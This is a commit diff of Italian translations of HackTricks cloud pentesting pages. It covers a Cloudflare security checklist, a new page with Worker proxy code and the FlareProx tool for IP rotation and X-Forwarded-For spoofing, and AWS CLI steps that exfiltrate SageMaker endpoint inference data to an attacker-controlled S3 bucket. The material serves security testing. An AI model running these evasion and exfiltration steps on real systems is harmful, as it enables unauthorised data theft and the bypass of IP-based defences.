mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-30 22:50:43 -08:00
Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-workers
This commit is contained in:
@@ -1,77 +1,83 @@
|
||||
# Cloudflare Security
|
||||
# Sicurezza Cloudflare
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In un account Cloudflare ci sono alcune **impostazioni generali e servizi** che possono essere configurati. In questa pagina analizzeremo le **impostazioni relative alla sicurezza di ciascuna sezione:**
|
||||
In un account Cloudflare ci sono alcune **impostazioni e servizi generali** che possono essere configurati. In questa pagina andremo a **analizzare le impostazioni relative alla sicurezza di ogni sezione:**
|
||||
|
||||
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Siti Web
|
||||
## Siti web
|
||||
|
||||
Esamina ciascuno con:
|
||||
Rivedere ciascuno con:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-domains.md
|
||||
{{#endref}}
|
||||
|
||||
### Registrazione del Dominio
|
||||
### Domain Registration
|
||||
|
||||
- [ ] In **`Transfer Domains`** controlla che non sia possibile trasferire alcun dominio.
|
||||
- [ ] In **`Transfer Domains`** verificare che non sia possibile trasferire alcun dominio.
|
||||
|
||||
Esamina ciascuno con:
|
||||
Rivedere ciascuno con:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-domains.md
|
||||
{{#endref}}
|
||||
|
||||
## Analisi
|
||||
## Analytics
|
||||
|
||||
_Non sono riuscito a trovare nulla da controllare per una revisione della sicurezza della configurazione._
|
||||
_Non sono riuscito a trovare nulla da verificare per una revisione della configurazione di sicurezza._
|
||||
|
||||
## Pagine
|
||||
## Pages
|
||||
|
||||
Su ciascuna pagina di Cloudflare:
|
||||
On each Cloudflare's page:
|
||||
|
||||
- [ ] Controlla le **informazioni sensibili** nel **`Build log`**.
|
||||
- [ ] Controlla le **informazioni sensibili** nel **repository Github** assegnato alle pagine.
|
||||
- [ ] Controlla il potenziale compromesso del repository github tramite **workflow command injection** o compromesso di `pull_request_target`. Maggiori informazioni nella [**pagina di sicurezza di Github**](../github-security/).
|
||||
- [ ] Controlla le **funzioni vulnerabili** nella directory `/fuctions` (se presenti), controlla i **redirect** nel file `_redirects` (se presenti) e gli **header mal configurati** nel file `_headers` (se presenti).
|
||||
- [ ] Controlla le **vulnerabilità** nella **pagina web** tramite **blackbox** o **whitebox** se puoi **accedere al codice**.
|
||||
- [ ] Nei dettagli di ciascuna pagina `/<page_id>/pages/view/blocklist/settings/functions`. Controlla le **informazioni sensibili** nelle **`Environment variables`**.
|
||||
- [ ] Nella pagina dei dettagli controlla anche il **build command** e la **root directory** per **potenziali iniezioni** che possano compromettere la pagina.
|
||||
- [ ] Check for **sensitive information** in the **`Build log`**.
|
||||
- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
|
||||
- [ ] Check for potential github repo compromise via workflow command injection or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/index.html).
|
||||
- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
|
||||
- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
|
||||
- [ ] In the details of each page `/<page_id>/pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
|
||||
- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
|
||||
|
||||
## **Workers**
|
||||
|
||||
Su ciascun worker di Cloudflare controlla:
|
||||
On each Cloudflare's worker check:
|
||||
|
||||
- [ ] I trigger: Cosa fa scattare il worker? Un **utente può inviare dati** che saranno **utilizzati** dal worker?
|
||||
- [ ] Nelle **`Settings`**, controlla le **`Variables`** contenenti **informazioni sensibili**.
|
||||
- [ ] Controlla il **codice del worker** e cerca **vulnerabilità** (soprattutto nei luoghi in cui l'utente può gestire l'input).
|
||||
- Controlla per SSRF che restituiscono la pagina indicata che puoi controllare.
|
||||
- Controlla XSS che eseguono JS all'interno di un'immagine svg.
|
||||
- È possibile che il worker interagisca con altri servizi interni. Ad esempio, un worker può interagire con un bucket R2 che memorizza informazioni ottenute dall'input. In tal caso, sarebbe necessario controllare quali capacità ha il worker sul bucket R2 e come potrebbe essere abusato dall'input dell'utente.
|
||||
- [ ] I trigger: cosa fa scattare il Worker? Un utente può inviare dati che verranno usati dal Worker?
|
||||
- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
|
||||
- [ ] Verificare il codice del worker e cercare vulnerabilità (soprattutto nei punti in cui l'utente può controllare l'input)
|
||||
- Cercare SSRF che restituiscano la pagina indicata e che tu possa controllare
|
||||
- Cercare XSS che eseguano JS all'interno di un'immagine svg
|
||||
- È possibile che il worker interagisca con altri servizi interni. Per esempio, un worker può interagire con un bucket R2 memorizzandovi informazioni ottenute dall'input. In tal caso, è necessario verificare quali capacità ha il worker sul bucket R2 e come potrebbero essere abusate dall'input dell'utente.
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che per impostazione predefinita a un **Worker viene assegnato un URL** come `<worker-name>.<account>.workers.dev`. L'utente può impostarlo su un **sottodominio**, ma puoi sempre accedervi con quell'**URL originale** se lo conosci.
|
||||
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
|
||||
|
||||
For a practical abuse of Workers as pass-through proxies (IP rotation, FireProx-style), check:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-workers-pass-through-proxy-ip-rotation.md
|
||||
{{#endref}}
|
||||
|
||||
## R2
|
||||
|
||||
Su ciascun bucket R2 controlla:
|
||||
On each R2 bucket check:
|
||||
|
||||
- [ ] Configura la **CORS Policy**.
|
||||
- [ ] Configurare la **CORS Policy**.
|
||||
|
||||
## Stream
|
||||
|
||||
TODO
|
||||
|
||||
## Immagini
|
||||
## Images
|
||||
|
||||
TODO
|
||||
|
||||
## Centro Sicurezza
|
||||
## Security Center
|
||||
|
||||
- [ ] Se possibile, esegui una **scansione di `Security Insights`** e una **scansione di `Infrastructure`**, poiché evidenzieranno informazioni interessanti dal punto di vista **della sicurezza**.
|
||||
- [ ] Controlla solo **queste informazioni** per configurazioni di sicurezza errate e informazioni interessanti.
|
||||
- [ ] Se possibile, eseguire una scansione `Security Insights` e una scansione `Infrastructure`, poiché metteranno in evidenza informazioni interessanti dal punto di vista della sicurezza.
|
||||
- [ ] Controllare queste informazioni per misconfigurazioni di sicurezza e informazioni interessanti
|
||||
|
||||
## Turnstile
|
||||
|
||||
@@ -83,17 +89,17 @@ TODO
|
||||
cloudflare-zero-trust-network.md
|
||||
{{#endref}}
|
||||
|
||||
## Redirects di Massa
|
||||
## Bulk Redirects
|
||||
|
||||
> [!NOTE]
|
||||
> A differenza dei [Redirects Dinamici](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), i [**Redirects di Massa**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) sono essenzialmente statici — non supportano alcuna operazione di sostituzione di stringhe o espressioni regolari. Tuttavia, puoi configurare i parametri di reindirizzamento URL che influenzano il loro comportamento di corrispondenza URL e il loro comportamento di runtime.
|
||||
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
|
||||
|
||||
- [ ] Controlla che le **espressioni** e i **requisiti** per i redirect **abbiano senso**.
|
||||
- [ ] Controlla anche per **endpoint nascosti sensibili** che contengono informazioni interessanti.
|
||||
- [ ] Verificare che le **espressioni** e i **requisiti** per i redirect abbiano senso.
|
||||
- [ ] Verificare anche la presenza di endpoint nascosti sensibili che contengono informazioni interessanti.
|
||||
|
||||
## Notifiche
|
||||
## Notifications
|
||||
|
||||
- [ ] Controlla le **notifiche.** Queste notifiche sono raccomandate per la sicurezza:
|
||||
- [ ] Controllare le notifiche. Queste notifiche sono raccomandate per la sicurezza:
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
@@ -113,22 +119,22 @@ cloudflare-zero-trust-network.md
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] Controlla tutte le **destinazioni**, poiché potrebbero esserci **informazioni sensibili** (autenticazione http di base) negli URL dei webhook. Assicurati anche che gli URL dei webhook utilizzino **HTTPS**.
|
||||
- [ ] Come controllo extra, potresti provare a **impersonare una notifica di cloudflare** a una terza parte, magari puoi in qualche modo **iniettare qualcosa di pericoloso**.
|
||||
- [ ] Verificare tutte le **destinazioni**, poiché potrebbero esserci **informazioni sensibili** (basic http auth) nelle webhook urls. Assicurarsi inoltre che le webhook urls usino **HTTPS**
|
||||
- [ ] Come controllo aggiuntivo, potresti provare a impersonare una notifica Cloudflare a una terza parte; forse puoi in qualche modo iniettare qualcosa di pericoloso
|
||||
|
||||
## Gestisci Account
|
||||
## Gestione account
|
||||
|
||||
- [ ] È possibile vedere le **ultime 4 cifre della carta di credito**, il **tempo di scadenza** e l'**indirizzo di fatturazione** in **`Billing` -> `Payment info`**.
|
||||
- [ ] È possibile vedere il **tipo di piano** utilizzato nell'account in **`Billing` -> `Subscriptions`**.
|
||||
- [ ] In **`Members`** è possibile vedere tutti i membri dell'account e il loro **ruolo**. Nota che se il tipo di piano non è Enterprise, esistono solo 2 ruoli: Amministratore e Super Amministratore. Ma se il **piano utilizzato è Enterprise**, [**più ruoli**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) possono essere utilizzati per seguire il principio del minimo privilegio.
|
||||
- Pertanto, ogni volta che è possibile è **raccomandato** utilizzare il **piano Enterprise**.
|
||||
- [ ] In Members è possibile controllare quali **membri** hanno **2FA abilitato**. **Ogni** utente dovrebbe averlo abilitato.
|
||||
- [ ] È possibile vedere le **ultime 4 cifre della carta di credito**, la **data di scadenza** e l'**indirizzo di fatturazione** in **`Billing` -> `Payment info`**.
|
||||
- [ ] È possibile vedere il **tipo di piano** usato nell'account in **`Billing` -> `Subscriptions`**.
|
||||
- [ ] In **`Members`** è possibile vedere tutti i membri dell'account e il loro **`role`**. Nota che se il tipo di piano non è Enterprise, esistono solo 2 ruoli: Administrator e Super Administrator. Ma se il **piano usato è Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) possono essere usati per seguire il principio del least privilege.
|
||||
- Pertanto, quando possibile è `recommended` usare il `Enterprise plan`.
|
||||
- [ ] In `Members` è possibile verificare quali membri hanno la 2FA abilitata. Ogni utente dovrebbe averla abilitata.
|
||||
|
||||
> [!NOTE]
|
||||
> Nota che fortunatamente il ruolo **`Administrator`** non dà permessi per gestire le iscrizioni (**non può elevare i privilegi o invitare** nuovi membri).
|
||||
> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
|
||||
|
||||
## Indagine DDoS
|
||||
## DDoS Investigation
|
||||
|
||||
[Controlla questa parte](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,286 @@
|
||||
# Abusing Cloudflare Workers as pass-through proxies (IP rotation, FireProx-style)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Cloudflare Workers possono essere distribuiti come proxy HTTP trasparenti pass-through in cui l'URL di destinazione upstream è fornito dal client. Le richieste escono dalla rete di Cloudflare, quindi la destinazione vede gli IP di Cloudflare invece di quelli del client. Questo rispecchia la famosa tecnica FireProx su AWS API Gateway, ma utilizza Cloudflare Workers.
|
||||
|
||||
### Key capabilities
|
||||
- Support for all HTTP methods (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
|
||||
- La destinazione può essere fornita tramite parametro di query (?url=...), un header (X-Target-URL), o persino codificata nel path (es., /https://target)
|
||||
- Header e body vengono inoltrati tramite il proxy con filtraggio degli header hop-by-hop quando necessario
|
||||
- Le risposte vengono rilanciate indietro, preservando lo status code e la maggior parte degli header
|
||||
- Spoofing opzionale di X-Forwarded-For (se il Worker lo imposta da un header controllato dall'utente)
|
||||
- Rotazione estremamente rapida/facile distribuendo più endpoint Worker e smistando le richieste
|
||||
|
||||
### How it works (flow)
|
||||
1) Il client invia una richiesta HTTP a un URL Worker (`<name>.<account>.workers.dev` o una route su dominio custom).
|
||||
2) Il Worker estrae la destinazione da un parametro di query (?url=...), dall'header X-Target-URL, o da un segmento del path se implementato.
|
||||
3) Il Worker inoltra il metodo, gli header e il body in arrivo all'URL upstream specificato (filtrando gli header problematici).
|
||||
4) La risposta upstream viene trasmessa al client attraverso Cloudflare; l'origine vede gli IP di uscita di Cloudflare.
|
||||
|
||||
### Worker implementation example
|
||||
- Legge l'URL di destinazione dal parametro di query, dall'header o dal path
|
||||
- Copia un sottoinsieme sicuro di header e inoltra il metodo/body originale
|
||||
- Opzionalmente imposta X-Forwarded-For usando un header controllato dall'utente (X-My-X-Forwarded-For) o un IP casuale
|
||||
- Aggiunge CORS permissivo e gestisce i preflight
|
||||
|
||||
<details>
|
||||
<summary>Esempio di Worker (JavaScript) per proxy pass-through</summary>
|
||||
```javascript
|
||||
/**
|
||||
* Minimal Worker pass-through proxy
|
||||
* - Target URL from ?url=, X-Target-URL, or /https://...
|
||||
* - Proxies method/headers/body to upstream; relays response
|
||||
*/
|
||||
addEventListener('fetch', event => {
|
||||
event.respondWith(handleRequest(event.request))
|
||||
})
|
||||
|
||||
async function handleRequest(request) {
|
||||
try {
|
||||
const url = new URL(request.url)
|
||||
const targetUrl = getTargetUrl(url, request.headers)
|
||||
|
||||
if (!targetUrl) {
|
||||
return errorJSON('No target URL specified', 400, {
|
||||
usage: {
|
||||
query_param: '?url=https://example.com',
|
||||
header: 'X-Target-URL: https://example.com',
|
||||
path: '/https://example.com'
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
let target
|
||||
try { target = new URL(targetUrl) } catch (e) {
|
||||
return errorJSON('Invalid target URL', 400, { provided: targetUrl })
|
||||
}
|
||||
|
||||
// Forward original query params except control ones
|
||||
const passthru = new URLSearchParams()
|
||||
for (const [k, v] of url.searchParams) {
|
||||
if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
|
||||
}
|
||||
if (passthru.toString()) target.search = passthru.toString()
|
||||
|
||||
// Build proxied request
|
||||
const proxyReq = buildProxyRequest(request, target)
|
||||
const upstream = await fetch(proxyReq)
|
||||
|
||||
return buildProxyResponse(upstream, request.method)
|
||||
} catch (error) {
|
||||
return errorJSON('Proxy request failed', 500, {
|
||||
message: error.message,
|
||||
timestamp: new Date().toISOString()
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
function getTargetUrl(url, headers) {
|
||||
let t = url.searchParams.get('url') || headers.get('X-Target-URL')
|
||||
if (!t && url.pathname !== '/') {
|
||||
const p = url.pathname.slice(1)
|
||||
if (p.startsWith('http')) t = p
|
||||
}
|
||||
return t
|
||||
}
|
||||
|
||||
function buildProxyRequest(request, target) {
|
||||
const h = new Headers()
|
||||
const allow = [
|
||||
'accept','accept-language','accept-encoding','authorization',
|
||||
'cache-control','content-type','origin','referer','user-agent'
|
||||
]
|
||||
for (const [k, v] of request.headers) {
|
||||
if (allow.includes(k.toLowerCase())) h.set(k, v)
|
||||
}
|
||||
h.set('Host', target.hostname)
|
||||
|
||||
// Optional: spoof X-Forwarded-For if provided
|
||||
const spoof = request.headers.get('X-My-X-Forwarded-For')
|
||||
h.set('X-Forwarded-For', spoof || randomIP())
|
||||
|
||||
return new Request(target.toString(), {
|
||||
method: request.method,
|
||||
headers: h,
|
||||
body: ['GET','HEAD'].includes(request.method) ? null : request.body
|
||||
})
|
||||
}
|
||||
|
||||
function buildProxyResponse(resp, method) {
|
||||
const h = new Headers()
|
||||
for (const [k, v] of resp.headers) {
|
||||
if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
|
||||
h.set(k, v)
|
||||
}
|
||||
}
|
||||
// Permissive CORS for tooling convenience
|
||||
h.set('Access-Control-Allow-Origin', '*')
|
||||
h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
|
||||
h.set('Access-Control-Allow-Headers', '*')
|
||||
|
||||
if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
|
||||
return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
|
||||
}
|
||||
|
||||
function errorJSON(msg, status=400, extra={}) {
|
||||
return new Response(JSON.stringify({ error: msg, ...extra }), {
|
||||
status, headers: { 'Content-Type': 'application/json' }
|
||||
})
|
||||
}
|
||||
|
||||
function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
|
||||
```
|
||||
</details>
|
||||
|
||||
### Automatizzare la distribuzione e la rotazione con FlareProx
|
||||
|
||||
FlareProx è uno strumento Python che usa la Cloudflare API per distribuire molti endpoint Worker e ruotare tra essi. Questo fornisce una rotazione IP in stile FireProx dalla rete di Cloudflare.
|
||||
|
||||
Configurazione
|
||||
1) Crea un Cloudflare API Token usando il template “Edit Cloudflare Workers” e recupera il tuo Account ID dalla dashboard.
|
||||
2) Configura FlareProx:
|
||||
```bash
|
||||
git clone https://github.com/MrTurvey/flareprox
|
||||
cd flareprox
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
**Crea il file di configurazione flareprox.json:**
|
||||
```json
|
||||
{
|
||||
"cloudflare": {
|
||||
"api_token": "your_cloudflare_api_token",
|
||||
"account_id": "your_cloudflare_account_id"
|
||||
}
|
||||
}
|
||||
```
|
||||
**CLI usage**
|
||||
|
||||
- Crea N Worker proxies:
|
||||
```bash
|
||||
python3 flareprox.py create --count 2
|
||||
```
|
||||
- Elencare gli endpoint:
|
||||
```bash
|
||||
python3 flareprox.py list
|
||||
```
|
||||
- Endpoint di controllo dello stato:
|
||||
```bash
|
||||
python3 flareprox.py test
|
||||
```
|
||||
- Elimina tutti gli endpoint:
|
||||
```bash
|
||||
python3 flareprox.py cleanup
|
||||
```
|
||||
**Instradare il traffico attraverso un Worker**
|
||||
- Formato con parametri di query:
|
||||
```bash
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
|
||||
```
|
||||
- Formato intestazione:
|
||||
```bash
|
||||
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
|
||||
```
|
||||
- Formato del path (se implementato):
|
||||
```bash
|
||||
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
|
||||
```
|
||||
- Esempi di metodi:
|
||||
```bash
|
||||
# GET
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
|
||||
|
||||
# POST (form)
|
||||
curl -X POST -d "username=admin" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
|
||||
|
||||
# PUT (JSON)
|
||||
curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
|
||||
|
||||
# DELETE
|
||||
curl -X DELETE \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
|
||||
```
|
||||
**`X-Forwarded-For` controllo**
|
||||
|
||||
Se il Worker rispetta `X-My-X-Forwarded-For`, puoi influenzare il valore upstream di `X-Forwarded-For`:
|
||||
```bash
|
||||
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
|
||||
```
|
||||
**Uso programmatico**
|
||||
|
||||
Usa la libreria FlareProx per creare, elencare e testare endpoint e per instradare richieste da Python.
|
||||
|
||||
<details>
|
||||
<summary>Esempio Python: Invia un POST tramite un endpoint Worker casuale</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from flareprox import FlareProx, FlareProxError
|
||||
import json
|
||||
|
||||
# Initialize
|
||||
flareprox = FlareProx(config_file="flareprox.json")
|
||||
if not flareprox.is_configured:
|
||||
print("FlareProx not configured. Run: python3 flareprox.py config")
|
||||
exit(1)
|
||||
|
||||
# Ensure endpoints exist
|
||||
endpoints = flareprox.sync_endpoints()
|
||||
if not endpoints:
|
||||
print("Creating proxy endpoints...")
|
||||
flareprox.create_proxies(count=2)
|
||||
|
||||
# Make a POST request through a random endpoint
|
||||
try:
|
||||
post_data = json.dumps({
|
||||
"username": "testuser",
|
||||
"message": "Hello from FlareProx!",
|
||||
"timestamp": "2025-01-01T12:00:00Z"
|
||||
})
|
||||
|
||||
headers = {
|
||||
"Content-Type": "application/json",
|
||||
"User-Agent": "FlareProx-Client/1.0"
|
||||
}
|
||||
|
||||
response = flareprox.redirect_request(
|
||||
target_url="https://httpbin.org/post",
|
||||
method="POST",
|
||||
headers=headers,
|
||||
data=post_data
|
||||
)
|
||||
|
||||
if response.status_code == 200:
|
||||
result = response.json()
|
||||
print("✓ POST successful via FlareProx")
|
||||
print(f"Origin IP: {result.get('origin', 'unknown')}")
|
||||
print(f"Posted data: {result.get('json', {})}")
|
||||
else:
|
||||
print(f"Request failed with status: {response.status_code}")
|
||||
|
||||
except FlareProxError as e:
|
||||
print(f"FlareProx error: {e}")
|
||||
except Exception as e:
|
||||
print(f"Request error: {e}")
|
||||
```
|
||||
</details>
|
||||
|
||||
**Integrazione Burp/Scanner**
|
||||
- Indirizzare gli strumenti (per esempio, Burp Suite) al Worker URL.
|
||||
- Fornire l'upstream reale usando ?url= o X-Target-URL.
|
||||
- La semantica HTTP (methods/headers/body) viene preservata mentre l'IP sorgente viene mascherato dietro Cloudflare.
|
||||
|
||||
**Note operative e limiti**
|
||||
- Cloudflare Workers Free plan consente circa 100.000 richieste/giorno per account; usare più endpoint per distribuire il traffico se necessario.
|
||||
- I Workers vengono eseguiti sulla rete di Cloudflare; molti target vedranno solo gli IP/ASN di Cloudflare, il che può bypassare semplici allow/deny lists basate su IP o le euristiche geografiche.
|
||||
- Usare responsabilmente e solo con autorizzazione. Rispettare ToS e robots.txt.
|
||||
|
||||
## Riferimenti
|
||||
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
|
||||
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
|
||||
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
|
||||
- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -2,18 +2,18 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Sifonamento dei dati di un endpoint SageMaker tramite UpdateEndpoint DataCaptureConfig
|
||||
## Esfiltrazione dei dati dell'endpoint SageMaker tramite UpdateEndpoint DataCaptureConfig
|
||||
|
||||
Abusa della gestione degli endpoint SageMaker per abilitare la cattura completa di richieste/risposte in un bucket S3 controllato dall'attaccante senza toccare il modello o il container. Usa un rolling update a downtime zero/basso e richiede solo i permessi di gestione dell'endpoint.
|
||||
Abusare della gestione degli endpoint SageMaker per abilitare la cattura completa di request/response in un S3 bucket controllato dall'attaccante senza toccare il modello o il container. Usa un rolling update a downtime zero/basso e richiede solo permessi di gestione dell'endpoint.
|
||||
|
||||
### Requisiti
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: `s3:CreateBucket` (o usa un bucket esistente nello stesso account)
|
||||
- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK
|
||||
- Target: An existing InService real‑time endpoint in the same account/region
|
||||
- S3: `s3:CreateBucket` (o usare un bucket esistente nello stesso account)
|
||||
- Opzionale (se si usa SSE‑KMS): `kms:Encrypt` sulla CMK scelta
|
||||
- Target: Un endpoint InService real‑time esistente nello stesso account/regione
|
||||
|
||||
### Passaggi
|
||||
1) Identificare un endpoint InService e raccogliere le attuali varianti di produzione
|
||||
1) Identificare un endpoint InService e raccogliere le varianti di produzione correnti
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
|
||||
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
|
||||
echo "EndpointConfig=$CFG"
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Prepara attacker S3 destination per captures
|
||||
2) Preparare la destinazione S3 dell'attacker per captures
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-capture-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
```
|
||||
3) Crea un nuovo EndpointConfig che mantiene gli stessi variants ma abilita DataCapture verso l'attacker bucket
|
||||
3) Crea una nuova EndpointConfig che mantiene le stesse varianti ma abilita DataCapture nell'attacker bucket
|
||||
|
||||
Nota: Usa tipi di contenuto espliciti che soddisfino la validazione della CLI.
|
||||
Nota: usa content types espliciti che soddisfino la validazione della CLI.
|
||||
```bash
|
||||
NEWCFG=${CFG}-dc
|
||||
cat > /tmp/dc.json << JSON
|
||||
@@ -54,51 +54,51 @@ aws sagemaker create-endpoint-config \
|
||||
--production-variants file:///tmp/pv.json \
|
||||
--data-capture-config file:///tmp/dc.json
|
||||
```
|
||||
4) Applica la nuova config con un rolling update (minimo/nessun downtime)
|
||||
4) Applica la nuova configurazione con un rolling update (downtime minimo/assente)
|
||||
```bash
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
5) Genera almeno una chiamata di inferenza (opzionale se esiste traffico live)
|
||||
5) Genera almeno una chiamata di inferenza (opzionale se è presente traffico in tempo reale)
|
||||
```bash
|
||||
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
|
||||
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
|
||||
--content-type application/json --accept application/json \
|
||||
--body fileb:///tmp/payload.json /tmp/out.bin || true
|
||||
```
|
||||
6) Validare captures in attacker S3
|
||||
6) Verificare i capture nel bucket S3 dell'attaccante
|
||||
```bash
|
||||
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
|
||||
```
|
||||
### Impatto
|
||||
- Esfiltrazione completa dei payloads delle richieste e delle risposte di real‑time inference (e dei metadata) dall'endpoint target verso un bucket S3 controllato dall'attaccante.
|
||||
- Nessuna modifica all'immagine del model/container e solo modifiche a livello di endpoint, permettendo un percorso di furto dati furtivo con minima interruzione operativa.
|
||||
### Impact
|
||||
- Esfiltrazione completa dei payload delle richieste e delle risposte di inferenza in tempo reale (e dei metadati) dall'endpoint mirato a un bucket S3 controllato dall'attaccante.
|
||||
- Nessuna modifica all'immagine del modello/container e solo cambiamenti a livello di endpoint, consentendo un percorso di furto dati furtivo con minima interruzione operativa.
|
||||
|
||||
|
||||
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
|
||||
|
||||
Abusa della gestione dell'endpoint per reindirizzare gli output delle asynchronous inference verso un bucket S3 controllato dall'attaccante clonando l'EndpointConfig corrente e impostando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Questo esfiltra le model predictions (e qualsiasi input trasformato incluso dal container) senza modificare il model/container.
|
||||
Abusare della gestione dell'endpoint per reindirizzare gli output di inference asincrona a un bucket S3 controllato dall'attaccante clonando l'EndpointConfig corrente e impostando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Questo esfiltra le predizioni del modello (e qualsiasi input trasformato incluso dal container) senza modificare il modello/container.
|
||||
|
||||
### Requisiti
|
||||
### Requirements
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: Capacità di scrivere nel bucket S3 controllato dall'attaccante (tramite il model execution role o una permissive bucket policy)
|
||||
- Target: un endpoint InService dove le asynchronous invocations sono (o saranno) usate
|
||||
- S3: Capacità di scrivere nel bucket S3 controllato dall'attaccante (tramite il ruolo di esecuzione del modello o una policy del bucket permissiva)
|
||||
- Target: un endpoint InService in cui le invocazioni asincrone sono (o saranno) utilizzate
|
||||
|
||||
### Passaggi
|
||||
1) Raccogli i ProductionVariants correnti dall'endpoint target
|
||||
### Steps
|
||||
1) Raccogliere gli attuali ProductionVariants dall'endpoint di destinazione
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=<target-endpoint-name>
|
||||
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Crea un attacker bucket (assicurati che il ruolo di esecuzione del modello possa effettuare PutObject su di esso)
|
||||
2) Crea un attacker bucket (assicurati che il model execution role possa PutObject su di esso)
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
